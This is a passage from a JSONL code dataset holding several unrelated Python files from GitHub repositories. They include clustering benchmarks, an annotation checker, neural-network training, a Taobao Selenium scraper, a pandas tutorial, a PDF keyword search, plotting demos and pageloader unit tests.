dbscan(df_1st)\n db_end = time.time()\n print(\"Computational Time of DBScan Clustering Technique with 2D Dataset(DS1): {}\".format(db_end-db_start))\n print('\\n')\n \n # 51D Dataset\n db_start = time.time()\n dbscan(df_2nd)\n db_end = time.time()\n print(\"Computational Time of DBScan Clustering Technique with 51D Dataset(DS2): {}\".format(db_end-db_start))\n print('\\n')\n \n ### Chameleon\n # 2D Dataset\n chm_start = time.time()\n chameleon(df_1st)\n chm_end = time.time()\n print(\"Computational Time of Chameleon Clustering Technique with 2D Dataset(DS1): {}\".format(chm_end-chm_start))\n print('\\n')\n \n # 51D Dataset\n chm_start = time.time()\n chameleon(df_2nd)\n chm_end = time.time()\n print(\"Computational Time of Chameleon Clustering Technique with 51D(DS2) Dataset: {}\".format(chm_end-chm_start))\n print('\\n')\n ","repo_name":"canberkarc/Data-Mining-Projects","sub_path":"Applications of Kmeans, DBSCAN and Chameleon Clustering Algorithms/171044062.py","file_name":"171044062.py","file_ext":"py","file_size_in_byte":9661,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"36491406928","text":"from .types import T_annotation\r\n\r\n\r\ndef check_all_images(task_annotations: T_annotation,\r\n total_shapes: int = 10) -> bool:\r\n \"\"\"Checks that all images are done by an account.\r\n\r\n\r\n Parameters\r\n ----------\r\n task_annotations : T_annotations\r\n Actual annotations that were made by an account.\r\n total_shapes : int\r\n Total number of annotations that need to be done.\r\n \r\n Returns\r\n -------\r\n all_images_done : bool\r\n `True` if all images done, `False` otherwise.\r\n \"\"\"\r\n # 1 shape == 1 label on 1 image,\r\n # total = 2 labels * 5 images = 10 shapes.\r\n return len(task_annotations) == total_shapes\r\n\r\ndef check_only_polygons(task_annotations: T_annotation,\r\n type_: str = \"polygon\") -> bool:\r\n \"\"\"Checks that images are annotated only using \"polygon\" figure.\r\n\r\n Parameters\r\n ----------\r\n task_annotations : T_annotations\r\n Actual annotations that were made by an account.\r\n type_ : str\r\n Type of annotation shape to check against.\r\n (Other options can be fetched from the site)\r\n \r\n Returns\r\n -------\r\n only_polygon : bool\r\n `True` if only \"polygon\" used, `False` otherwise.\r\n \"\"\"\r\n # Checks so everything's annotated only using \"POLYGON\".\r\n return all([i[\"type\"]==type_ for i in task_annotations])\r\n\r\ndef check_plates_points(task_annotations: T_annotation,\r\n label_id: int,\r\n total_points: int = 8) -> bool:\r\n \"\"\"Checks that all plates are annotated using 4 points.\r\n\r\n Part of a test assignment is to also annotate plates\r\n but using only 4 points of a 'polygon'.\r\n\r\n Parameters\r\n ----------\r\n task_annotations : T_annotations\r\n Actual annotations that were made by an account.\r\n label_id : int\r\n ID of a \"plates\" label.\r\n total_points : int\r\n Total number of points that need to be done on 1 plate.\r\n\r\n Returns\r\n -------\r\n 4_points : bool\r\n `True` if plates are annotated using 4 points of a 'polygon',\r\n `False` otherwise.\r\n \"\"\"\r\n # Checks that plates are annotated using only 4 points.\r\n # len((x1, y1); (x2, y2); (x3, y3); (x4, y4)) == 8\r\n return all(\r\n [len(i[\"points\"])==total_points for i in task_annotations if i[\"label_id\"] == label_id]\r\n )\r\n\r\ndef check_plates_values(task_annotations: T_annotation,\r\n label_id: int) -> bool:\r\n \"\"\"Checks that all plates' values are annotated.\r\n\r\n Part of a test assignment is to also annotate plates` values,\r\n e.g. '623BITNY' or '123UwU321'\r\n\r\n Parameters\r\n ----------\r\n task_annotations : T_annotations\r\n Actual annotations that were made by an account.\r\n label_id : int\r\n ID of a \"plates\" label.\r\n\r\n Returns\r\n -------\r\n all_values_done : bool\r\n `True` if there are no empty plates' values, `False` otherwise.\r\n \"\"\"\r\n # Checks that all plates' values are annotated.\r\n plates = [i for i in task_annotations if i[\"label_id\"] == label_id]\r\n empty_values = 0\r\n for plate in plates:\r\n if plate[\"attributes\"][0][\"value\"] == \"\":\r\n empty_values += 1\r\n break\r\n return not empty_values\r\n","repo_name":"SXHRYU/candidates_backup","sub_path":"tasks_metrics/checker.py","file_name":"checker.py","file_ext":"py","file_size_in_byte":3246,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"6083289152","text":"import torch\n\nimport numpy as np\n\nfrom loss import alpha_go_zero_loss\n\ndef run_train(net, optimizer, memory, batch_size):\n\n if len(memory) < batch_size:\n return\n\n device = net.get_device()\n\n batch = memory.sample(batch_size)\n\n s = np.array([b.s for b in batch])\n pi = np.array([b.pi for b in batch])\n z = np.array([b.z for b in batch])\n\n s = torch.from_numpy(s).to(device, dtype=torch.float)\n pi = torch.from_numpy(pi).to(device, dtype=torch.float)\n z = torch.from_numpy(z).to(device, dtype=torch.float)\n\n p, v = net.forward(s)\n\n loss = alpha_go_zero_loss(p, v, pi, z)\n\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n","repo_name":"otaviojacobi/tcc","sub_path":"othello/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"24666745354","text":"from selenium import webdriver\nfrom pyquery import PyQuery as pq\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nfrom pyquery import PyQuery as pq\nfrom urllib.parse import quote\nimport json\nfrom selenium.common.exceptions import TimeoutException\n\nmax_page=100\nKEYWORD='ipad'\nbase_url='https://s.taobao.com/search?q='+quote(KEYWORD) #quote将中文URL编码化\n'''\n无界面模式,但会跳转到登录界面,可以手动登录,也可以直接用selenium模拟点击登录,当然也可以打开network持续日志显示,截获登录时的url和表单格式!\noptions=webdriver.ChromeOptions()\noptions.add_argument('--headless')\nbrowser=webdriver.Chrome(options=options)\n'''\nchrome_options = webdriver.ChromeOptions()\nchrome_options.add_experimental_option('excludeSwitches', ['enable-automation']) #以开发者模式打开\nchrome_options.add_experimental_option(\"prefs\", {\"profile.managed_default_content_settings.images\": 2}) #不加载图片,加快访问速度\nbrowser = webdriver.Chrome(chrome_options=chrome_options)\n\n#browser=webdriver.Chrome() #普通浏览器初始化\nwait=WebDriverWait(browser,30) #显式等待时间设置\ndef get_one_page(page):\n print('正在爬取%d页' % page)\n try:\n browser.get(base_url) #\n if page>1 :\n #EC.等待条件,和WebDriverWait对象搭配使用,使得浏览器加载出对应节点后再开始解析提取信息!参数为一个元组!!!\n #By.选择方式\n input=wait.until(EC.presence_of_element_located((By.CSS_SELECTOR,'#mainsrp-pager div.form > input')))\n submit=wait.until(EC.element_to_be_clickable((By.CSS_SELECTOR,'#mainsrp-pager div.form > span.btn.J_Submit')))\n input.clear() #清空!!一般会有默认值!\n input.send_keys(page)\n submit.click()\n wait.until(EC.text_to_be_present_in_element((By.CSS_SELECTOR,'#mainsrp-pager li.item.active > span'),str(page)))\n wait.until(EC.presence_of_element_located((By.CSS_SELECTOR,'.m-itemlist .items .item')))\n return parse_products()\n except TimeoutException:\n print('ERROR!!!!')\ndef parse_products():\n html=browser.page_source\n doc=pq(html) #pq对象初始化\n items=doc('#mainsrp-itemlist .items .item').items() #必须用.items()方法,得到一个生成器!!\n for item in items:\n yield{\n 'image': item.find('.pic .img').attr('data-src'),\n 'price': item.find('.price').text(),\n 'deal': item.find('.deal-cnt').text(),\n 'title': item.find('.title').text(),\n 'shop': item.find('.shop').text(),\n 'location': item.find('.location').text()\n }\n \ndef save_to_file(item):\n with open(r'C:\\Users\\19233\\Desktop\\ret.txt','a',encoding='utf-8') as f:\n f.write(json.dumps(item,ensure_ascii=False)+'\\n')\n print('成功保存')\ndef main(page):\n for item in get_one_page(page):\n save_to_file(item)\nif __name__=='__main__':\n for page in range(1,max_page+1):\n main(page)\n browser.close() #最后需要关闭浏览器!!\n print('全部保存完毕!!!')","repo_name":"duxinhao52/taobao","sub_path":"taobao.py","file_name":"taobao.py","file_ext":"py","file_size_in_byte":3280,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"1072303354","text":"from requests import Request, Session\nfrom requests.exceptions import ConnectionError, Timeout, TooManyRedirects\nfrom matplotlib import pyplot as plt\nimport pandas as pd\nimport numpy as np\nimport datetime\nimport json\n\naa_url = 'https://api.glassnode.com/v1/metrics/addresses/active_count'\n\nparameters = {\n 'api_key' : input(), #input your Glassnode API key.\n 'a' : 'BTC',\n 'i' : '24h',\n 'c' : 'native',\n}\n\ndef get_purifed_aa_data(api_url, api_parameters):\n\n session = Session()\n try:\n response = session.get(api_url, params=api_parameters)\n except (ConnectionError, Timeout, TooManyRedirects) as e:\n print(e)\n\n df = pd.DataFrame(json.loads(response.text))\n df = df.set_index('t')\n df.index = pd.to_datetime(df.index, unit='s')\n df = df.loc[df.index > '2010-1-1']\n df.reset_index(inplace=True)\n return df\n\ndef plot_data():\n \n print('Please input your Glassnode API kye:')\n aa_data = get_purifed_aa_data(aa_url, parameters)\n\n fig, main_ax = plt.subplots()\n\n main_ax.plot(aa_data['t'], aa_data['v'], linewidth=0.2)\n main_ax.set_yscale('log')\n main_ax.grid(True)\n\n x = aa_data.index\n y = x**1.69\n main_ax.plot(aa_data['t'], y, linewidth=0.5)\n\n plt.show()\n\nplot_data()\n","repo_name":"Murkz21/Blockchain-Apps","sub_path":"Generalized Metcalfe's Law for BTC Data Analytics Modeling with Galssnode API/Active Address.py","file_name":"Active Address.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"73275255309","text":"import sys\n\nn = int(sys.stdin.readline())\narray = [[0 for _ in range(3)] for __ in range(n)]\ntable = [[0 for _ in range(3)] for __ in range(n)]\nfor i in range(n):\n array[i][0], array[i][1], array[i][2] = list(map(int, sys.stdin.readline().split()))\n\nfor i in range(n): # i = 0 일때는 그냥 array맨 윗줄 복붙 그 이후부터는 위에서부터 안겹치게 누적\n table[i][0] = min(table[i - 1][1], table[i - 1][2]) + array[i][0] \n table[i][1] = min(table[i - 1][0], table[i - 1][2]) + array[i][1]\n table[i][2] = min(table[i - 1][0], table[i - 1][1]) + array[i][2]\n\nprint(min(table[n - 1][0], table[n - 1][1], table[n - 1][2]))","repo_name":"culeJUN/BaekJoon","sub_path":"15.동적 계획법 1/15-05.py","file_name":"15-05.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"31110158759","text":"import random\n\nrandom_num = random.randint(1,5)\nwhile True:\n num = int(input('Guess the number from 1 to 5: '))\n if num != random_num:\n print('Try again')\n continue\n print('Congrats!')\n break\n\n\ni = 10\nwhile i < 50:\n print(i)\n i += 10\n\nwhile True:\n answer = input(\"Enter yes or no: \")\n if answer == 'no':\n break\n\n","repo_name":"VeraKH/python3_exercises","sub_path":"while.py","file_name":"while.py","file_ext":"py","file_size_in_byte":357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"21623430001","text":"#!/usr/bin/env python\n\nimport sys\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\ndef main():\n data = dict()\n with open(sys.argv[1], \"r\") as datafile:\n line = datafile.readline()\n while line:\n size, sensitivity, specificity = line.split(',')\n size = int(size)\n sensitivity = float(sensitivity)\n specificity = 1 - float(specificity)\n\n if size not in data:\n data[size] = []\n data[size].append((specificity, sensitivity))\n\n line = datafile.readline()\n\n for size in data:\n spec = []\n sens = []\n for sp, se in data[size]:\n spec.append(sp)\n sens.append(se)\n data[size] = (sum(spec) / len(spec), sum(sens) / len(sens))\n\n Sens = [0]\n Spec = [0]\n for size in data:\n Sens.append(data[size][1])\n Spec.append(data[size][0])\n Sens += [1]\n Spec += [1]\n\n\n X = np.linspace(0, 1, 10)\n InvX = [1 - x for x in X]\n\n print(len(data))\n\n ax = plt.gca()\n ax.plot(Spec, Sens, marker='o')\n ax.plot(X, X)\n ax.plot(X, InvX)\n\n k = 1\n for i, j in zip(Spec, Sens):\n if k != 1 and k != 15:\n ax.annotate(str(k), xy=(i, j), color='black', horizontalalignment='right', verticalalignment='bottom')\n k += 2\n ax.set_xlabel(\"Sensitivité\")\n ax.set_ylabel(\"Spécificité\")\n # plt.plot(Spec, Spec)\n\n plt.show()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"wpuech/Copy_Move_Detection","sub_path":"python/plotROC.py","file_name":"plotROC.py","file_ext":"py","file_size_in_byte":1473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"20131104079","text":"'''\n@author: Emre\n@date: Sun 10 May 2015 01:25:23 AM PDT\n@mail: e.tekinalp@icloud.com\n'''\n\nfrom goe_functions import data\nreload(data)\n\n\nclass rarm(object):\n def __init__(self):\n self.armShoulderFK = data.InfoPropCmds(grp='R_armShoulderFK_GRP', trn='R_armShoulderFK_CTL', shp='R_armShoulderFK_CTLShape', gmb=None, off=[], jnt='')\n self.armElbowFK = data.InfoPropCmds(grp='R_armElbowFK_GRP', trn='R_armElbowFK_CTL', shp='R_armElbowFK_CTLShape', gmb=None, off=[], jnt='')\n self.armWristFK = data.InfoPropCmds(grp='R_armWristFK_GRP', trn='R_armWristFK_CTL', shp='R_armWristFK_CTLShape', gmb=None, off=[], jnt='')\n #END __init__()\n#END rarm()\n\n\nclass larm(object):\n def __init__(self):\n self.armShoulderFK = data.InfoPropCmds(grp='L_armShoulderFK_GRP', trn='L_armShoulderFK_CTL', shp='L_armShoulderFK_CTLShape', gmb=None, off=[], jnt='')\n self.armElbowFK = data.InfoPropCmds(grp='L_armElbowFK_GRP', trn='L_armElbowFK_CTL', shp='L_armElbowFK_CTLShape', gmb=None, off=[], jnt='')\n self.armWristFK = data.InfoPropCmds(grp='L_armWristFK_GRP', trn='L_armWristFK_CTL', shp='L_armWristFK_CTLShape', gmb=None, off=[], jnt='')\n #END __init__()\n#END larm()\n","repo_name":"EmreTekinalp/Public","sub_path":"src/python/tool/autorigger_v02_obsolete/__obsolete_rig_system/goe_builds/project/characters/skeleton/build_hi/data/obj.py","file_name":"obj.py","file_ext":"py","file_size_in_byte":1518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"29984348204","text":"\"\"\"Effect of different batchsizes on test loss\"\"\"\n#!/usr/bin/env python\n\nfrom collections import OrderedDict\n\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torchvision import datasets, transforms\nfrom torch.autograd import Variable\nfrom tqdm import tqdm\n\n\n# model params\ninp, hid1, hid2, out = 784, 392, 50, 10\nbatch_size = [8, 16, 32, 64, 128, 512, 1024]\nepochs = 5\nlr = 0.01\n\n\nclass NN(nn.Module):\n\n def __init__(self):\n super().__init__()\n self.l1 = nn.Linear(inp, hid1)\n self.h1 = nn.Linear(hid1, hid2)\n self.h2 = nn.Linear(hid2, hid2)\n self.l2 = nn.Linear(hid2, out)\n\n def forward(self, x):\n x = x.view((-1, 784))\n x = F.relu(self.l1(x))\n x = F.relu(self.h1(x))\n x = F.relu(self.h2(x))\n return F.softmax(self.l2(x))\n\nnn = NN()\noptim = torch.optim.SGD(nn.parameters(), lr=lr)\n\n\ndef train(epoch):\n nn.train()\n print(\"Training Epoch : {}\".format(epoch))\n for data, label in tqdm(train_loader):\n data, label = Variable(data), Variable(label)\n optim.zero_grad()\n output = nn(data)\n loss = F.cross_entropy(output, label)\n loss.backward()\n optim.step()\n print(\"Training Loss {:-4f}\".format(loss.data[0]))\n return loss.data[0]\n\n\ndef test():\n nn.eval()\n print(\"Testing..\")\n test_loss = 0\n for data, label in tqdm(test_loader):\n data, label = Variable(data), Variable(label)\n output = nn(data)\n test_loss += F.cross_entropy(output, label, size_average=False).data[0]\n pred = output.data.max(1, keepdim=True)[1]\n test_loss /= len(test_loader.dataset)\n # print(\"Test Epoch {}, Average Loss {:-4f}\".format(epoch, test_loss))\n return test_loss\n\n\nif __name__ == \"__main__\":\n tr_batch_loss, ts_batch_loss = OrderedDict(), OrderedDict()\n # load and preprocess MNIST dataset\n transforms = transforms.Compose([transforms.ToTensor(),\n transforms.Normalize((0.1307, ),\n (0.3081, ))])\n for b_size in batch_size:\n print(\"Running with batch: {}\".format(b_size))\n train_loader = torch.utils.data.DataLoader(\n datasets.MNIST(\"/tmp\", train=True, download=True,\n transform=transforms),\n batch_size=b_size)\n test_loader = torch.utils.data.DataLoader(\n datasets.MNIST(\"/tmp\", train=False, download=True,\n transform=transforms),\n batch_size=b_size)\n tr_loss, ts_loss = [], []\n for e in range(1, epochs + 1):\n tr_loss.append(train(e))\n ts_loss.append(test())\n tr_batch_loss[b_size] = sum(tr_loss)/len(tr_loss)\n ts_batch_loss[b_size] = sum(ts_loss)/len(ts_loss)\n for k, v in tr_batch_loss.items():\n print(\"{} => {:-4f}\".format(k, v))\n tr_items = tr_batch_loss.items()\n ts_items = ts_batch_loss.items()\n x, y_ts = zip(*tr_items)\n x, y_tr = zip(*ts_items)\n plt.plot(x, y_ts, \"b\", x, y_tr, \"g\")\n plt.ylabel(\"Loss\")\n plt.xlabel(\"Mini batch sizes\")\n plt.savefig(\"batchsize.pdf\")\n plt.show()","repo_name":"rahulunair/batch_sizes","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"10619180772","text":"with open(\"./weather_data.csv\") as file:\n data = file.readlines()\n print(data)\n\nimport csv\n\nwith open(\"./weather_data.csv\") as file:\n # csv.reader() will read the csv file provided as argument and return a reader object\n data = csv.reader(file)\n # reader object will contain the csv data in a list of rows for each row entry\n print(data)\n temperatures = []\n next(data)\n for row in data:\n temperatures.append(int(row[1]))\n print(temperatures)\n\nimport pandas\n\n# formats it more like a table\n# takes the first row of csv as the headers of the table and everything underneath it will be the data itself\ncsv = pandas.read_csv(\"./weather_data.csv\")\n# data returns back a data type called DataFrame\n# The two primary data structures of pandas, Series (1-dimensional) and DataFrame(2-dimensional)\n# a DataFrame is the equivalent of the whole table/spreadsheet doc\nprint(type(csv))\n\n# a single \"column\" of the table is called a Series equivalent to a list in python\nprint(csv[\"temp\"])\n\n# pandas has multiple methods that can convert a DataFrame to any kind of data type/format: https://pandas.pydata.org/docs/reference/frame.html#serialization-io-conversion\ndata = csv.to_dict()\nprint(data)\n\n# # series also has multiple methods to be converted to a different data type\ntemp_list = csv[\"temp\"].to_list()\nprint(temp_list)\n\n# not using built in methods\ntotal_temp = 0\nfor temp in temp_list:\n total_temp += temp\navg_temp = total_temp/len(temp_list)\nprint(int(avg_temp))\n\n# built in methods solution\navg_temp = sum(temp_list)/len(temp_list)\nprint(int(avg_temp))\n\n# pandas methods solution\npandas_avg = csv[\"temp\"].mean()\nprint(int(pandas_avg))\n\n# # maximum value in series\nmax_temp = csv[\"temp\"].max()\nprint(max_temp)\n\n# # can use dot notation to access different columns\nprint(csv.temp)\n\n# # get entire row of data with pandas\nrow = csv[csv.day == \"Monday\"]\nprint(row)\n\n# get row of data where temp is max\nmax_temp_row = csv[csv.temp == csv.temp.max()]\nprint(max_temp_row)\n\n# get monday's temp and convert to farenheit\nmonday = csv[csv.day == \"Monday\"]\nmonday.temp = (monday.temp * 9/5) + 32\nprint(monday.temp)\n\n# create a dataframe from scratch\ndata_dict = {\n \"students\": [\"Amy\", \"James\", \"Angela\"],\n \"scores\": [76, 56, 65]\n}\ndata_frame = pandas.DataFrame(data_dict)\n# can create a csv file from a dataframe with pandas\ndata_frame.to_csv(\"./new_data.csv\")","repo_name":"echo1826/pythonPractice","sub_path":"csv-pandas/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"35932699478","text":"class Student:\n def __init__(self,name,rollno,course,mark):\n self.name=name\n self.rollno=rollno\n self.course=course\n self.mark=mark\n def printV(self):\n print(self.name)\n print(self.rollno)\n print(self.course)\n print(self.mark)\nf=open('stud12','r')\nfor i in f:\n print(i)\n data=i.split(\",\")\n # print(l)\n\n name=data[0]\n rollno =data[1]\n course=data[2]\n mark=data[3]\n\n st=Student(name,rollno,course,mark)\n\n # st.printV()\n","repo_name":"akhilakr06/pythonluminar","sub_path":"files/Studentdemo.py","file_name":"Studentdemo.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"23555724248","text":"# Script to search for one or more keywords in a set of PDF files\r\n# Author: Mark Bruyneel\r\n# Date: 2023-07-06\r\n\r\nfrom pathlib import Path\r\nfrom loguru import logger\r\nfrom datetime import datetime\r\nimport time\r\nimport os\r\nimport pandas as pd\r\nimport PyPDF2\r\n# PyPDF2 requires dependent library for secure PDF files: PyCryptodome\r\n\r\n# Show all data in screen\r\npd.set_option(\"display.max.columns\", None)\r\n\r\n# Create date variable for filenames\r\nrunday = str(datetime.today().date())\r\n\r\n# Create a date + time for logging start\r\nnow = str(datetime.now())\r\nnowt = time.time()\r\n\r\nlogger.add(r'U:\\Werk\\Data Management\\Python\\\\Files\\output\\PDF_Search.log', backtrace=True, diagnose=True, rotation=\"10 MB\", retention=\"12 months\")\r\n@logger.catch()\r\n\r\ndef main():\r\n # Determine the number of terms to be searched\r\n termnumber = input('How many keywords do you want?\\n')\r\n termnumber = int(termnumber)\r\n\r\n # Now create the termlist by input of search terms\r\n termlist = []\r\n while termnumber != 0:\r\n Newterm = input('Add a new search term to the list: ')\r\n termlist.append(Newterm)\r\n termnumber = termnumber - 1\r\n\r\n # Establish location and files with data. Put the filenames in a table\r\n searchpath = input('What is the location of the PDF files on the computer (folder)?\\n')\r\n dir_path = searchpath\r\n\r\n # Establish what type of documents are to be searched\r\n document_type = input('What type of PDF files are searched ? Example: papers\\n')\r\n\r\n # Start search indicator\r\n logger.debug('Start search through the PDF files at: ' + now)\r\n\r\n # Get list of all files only in the given directory\r\n document = lambda x: os.path.isfile(os.path.join(dir_path, x))\r\n document_list = filter(document, os.listdir(dir_path))\r\n\r\n # Create a list of files in directory along with the size\r\n document_newlist_g = [\r\n (f, os.stat(os.path.join(dir_path, f)).st_size)\r\n for f in document_list\r\n ]\r\n\r\n # Create a DataFrame with the list as input\r\n document_newlist = pd.DataFrame(document_newlist_g, columns=['Filename', 'File_size'])\r\n # Limit to just the PDF files in the list\r\n newlist = document_newlist[document_newlist['Filename'].str.contains('.pdf')]\r\n # Exclude possible empty files with no data / text\r\n finallist = newlist[newlist['File_size']>100].copy()\r\n filenrsf = finallist.shape[0]\r\n print('Number of PDF files to be searched: ', filenrsf)\r\n\r\n result_list = []\r\n for filename in finallist['Filename'].values:\r\n print('Processing file: ', filename)\r\n # For the PyPDF2 package I need to indicate strict=False because of a bug\r\n reader = PyPDF2.PdfReader(searchpath + filename, strict=False)\r\n for page_number in range(0, len(reader.pages)):\r\n page = reader.pages[page_number]\r\n page_content = page.extract_text()\r\n for search_term in termlist:\r\n if search_term in page_content:\r\n result = {\r\n \"page\": page_number,\r\n \"content\": filename,\r\n \"keyword\": search_term\r\n }\r\n result_list.append(result)\r\n\r\n # Create a group based on papers and search term count\r\n if len(result_list) < 100:\r\n print('Keyword(s) were not found in the PDF files.')\r\n logger.debug('Keyword(s) were not found in the PDF files.')\r\n else:\r\n result_list_new = pd.DataFrame.from_dict(result_list)\r\n result_list_new.to_csv(f'U:\\Werk\\Data Management\\Python\\\\Files\\output\\{document_type}_TermSearch_{runday}.csv', encoding='utf-8')\r\n result_temp = result_list_new.groupby(['content', 'keyword'], as_index=False).count()\r\n print('Paper overview:\\n', result_temp.head())\r\n result_temp.to_csv(f'U:\\Werk\\Data Management\\Python\\\\Files\\output\\{document_type}_term_count_{runday}.csv', encoding='utf-8')\r\n\r\n logger.debug('Location of PDF files / Folder searched : ' + searchpath)\r\n # Logging of script run:\r\n end = str(datetime.now())\r\n logger.debug('Search through the PDF files completed at: ' + end)\r\n duration_s = (round((time.time() - nowt),2))\r\n if duration_s > 3600:\r\n duration = str(duration_s / 3600)\r\n logger.debug('Search took: ' + duration + ' hours.')\r\n elif duration_s > 60:\r\n duration = str(duration_s / 60)\r\n logger.debug('Search took: ' + duration + ' minutes.')\r\n else:\r\n duration = str(duration_s)\r\n logger.debug('Search took: ' + duration + ' seconds.')\r\n\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"MarkBruyneel/diverse","sub_path":"PDFSearch.py","file_name":"PDFSearch.py","file_ext":"py","file_size_in_byte":4605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"3727726093","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\n# 四个轴的位置设定\n# xy轴交汇位置设定\nx = np.linspace(-1,1,50)\ny1 = 2*x+1\ny2 = x**2\n\nplt.figure() \nplt.plot(x,y2)\nplt.plot(x,y1,color='red',linewidth=1.0,linestyle='--')\n\nplt.xlim((-1,2)) #x取值范围\nplt.ylim((-2,3)) #y取值范围\nplt.xlabel('I am x') #描述\nplt.ylabel('I am y') #描述\nnew_ticks = np.linspace(-1,2,5)\nprint(new_ticks)\nplt.xticks(new_ticks) # 更换xy轴刻度标识\nplt.yticks([-2,-1.8,-1,1.22,3,],['read bad','bad','noral','good','really good'])\n\n# 四周四个轴的操作\nax = plt.gca()\n# 将右边和上面的轴颜色设置为空,就可以实现隐藏功能\nax.spines['right'].set_color('none')\nax.spines['top'].set_color('none')\n# 设置xy轴指哪个轴,并命名\nax.xaxis.set_ticks_position('bottom')\nax.yaxis.set_ticks_position('left')\n# 设置x放置在y轴的位置,y轴的0处 还有axes方法不指定具体值指百分比\nax.spines['bottom'].set_position(('data',0))\n# 设置y放置在x轴位置,x轴的0处 data指数据 0代表值\nax.spines['left'].set_position(('data',0))\nplt.show()\n\n","repo_name":"ssskming/pys","sub_path":"matplot/matplot04.py","file_name":"matplot04.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"11971823063","text":"import os\nimport tempfile\n\nimport pytest\nimport requests\nimport requests_mock\n\nfrom pageloader.loader import PageLoader, LoaderError\n\nRESOURCE_URL = 'https://test.test/user/test/main-page/'\n\n@pytest.fixture\ndef simple_page_content():\n with open('tests/fixtures/simple_page.html') as file:\n yield file.read()\n\n\n@pytest.fixture\ndef page_with_links_content():\n with open('tests/fixtures/page_with_links.html') as file:\n yield file.read()\n\n\ndef test_save_url(simple_page_content): # noqa WPS210\n with requests_mock.Mocker() as mock:\n mock.get(RESOURCE_URL, text=simple_page_content)\n\n with tempfile.TemporaryDirectory() as tmpdirname:\n pageloader = PageLoader(RESOURCE_URL, tmpdirname)\n pageloader.load()\n assert len(os.listdir(tmpdirname)) != 0\n\n files_path = [\n os.path.join(tmpdirname, file_name)\n for file_name in os.listdir(tmpdirname)\n ]\n file_path, = list(filter(os.path.isfile, files_path))\n\n with open(file_path, 'r') as file_descriptor:\n file_content = file_descriptor.read()\n assert file_content == simple_page_content\n\n\ndef test_save_url_with_recieve_exception():\n with tempfile.TemporaryDirectory() as tmpdirname:\n with pytest.raises(LoaderError):\n pageloader = PageLoader(RESOURCE_URL, tmpdirname)\n pageloader.load()\n\n\ndef test_save_url_with_tmpdir_err(simple_page_content):\n with requests_mock.Mocker() as mock:\n mock.get(RESOURCE_URL, text=simple_page_content)\n with tempfile.TemporaryDirectory() as tmpdirname:\n with pytest.raises(LoaderError):\n fake_dir = '{tmpdir}_fake_34213'.format(tmpdir=tmpdirname)\n pageloader = PageLoader(RESOURCE_URL, fake_dir)\n pageloader.load()\n\n\nEXPECTED_LINKS = { # noqa WPS407\n '/assets/js/main.js': 'assets-js-main.js',\n '/css/styles.css': 'css-styles.css',\n '/image.png': 'image.png',\n}\n\n\ndef test_get_resource_links(page_with_links_content):\n resource_dir_name = 'test-resource-dir_files'\n pageloader = PageLoader('url', 'output_dir')\n links, replace_content = pageloader._get_resource_links(\n page_with_links_content, resource_dir_name,\n )\n\n assert EXPECTED_LINKS == links\n for path in links.values():\n expected_link = os.path.join(resource_dir_name, path)\n assert expected_link in replace_content\n\n\n@pytest.mark.parametrize(\n 'link,expected',\n [\n ('/assets/main.js', True),\n ('/assets/styles.css', True),\n ('/static/logo.png', True),\n ('https://cdn2.domain.io/dist.js', False),\n ('/user/info', False),\n ('', False),\n (' ', False),\n ],\n)\ndef test_need_to_be_downloaded(link, expected):\n pageloader = PageLoader('link', 'sadsadsad')\n result = pageloader._need_to_be_downloaded(link)\n assert result == expected\n","repo_name":"Krutov777/page_parser","sub_path":"tests/test_loader.py","file_name":"test_loader.py","file_ext":"py","file_size_in_byte":2951,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"5031864994","text":"import numpy \nfrom .pyrandaPackage import pyrandaPackage\n\n\nclass pyrandaTimestep(pyrandaPackage):\n \"\"\"\n Case physics package module for adding new physics packages to pyranda\n \"\"\"\n def __init__(self,pysim):\n\n PackageName = 'Timestep'\n pyrandaPackage.__init__(self,PackageName,pysim)\n\n self.dx = pysim.mesh.d1\n self.dy = pysim.mesh.d2\n self.dz = pysim.mesh.d3\n self.pysim = pysim\n self.GridLen = pysim.mesh.GridLen\n \n\n def get_sMap(self):\n \"\"\"\n String mappings for this package. Packages added to the main\n pyranda object will check this map\n \"\"\"\n sMap = {}\n sMap['dt.courant('] = \"self.packages['Timestep'].courant(\"\n sMap['dt.diff('] = 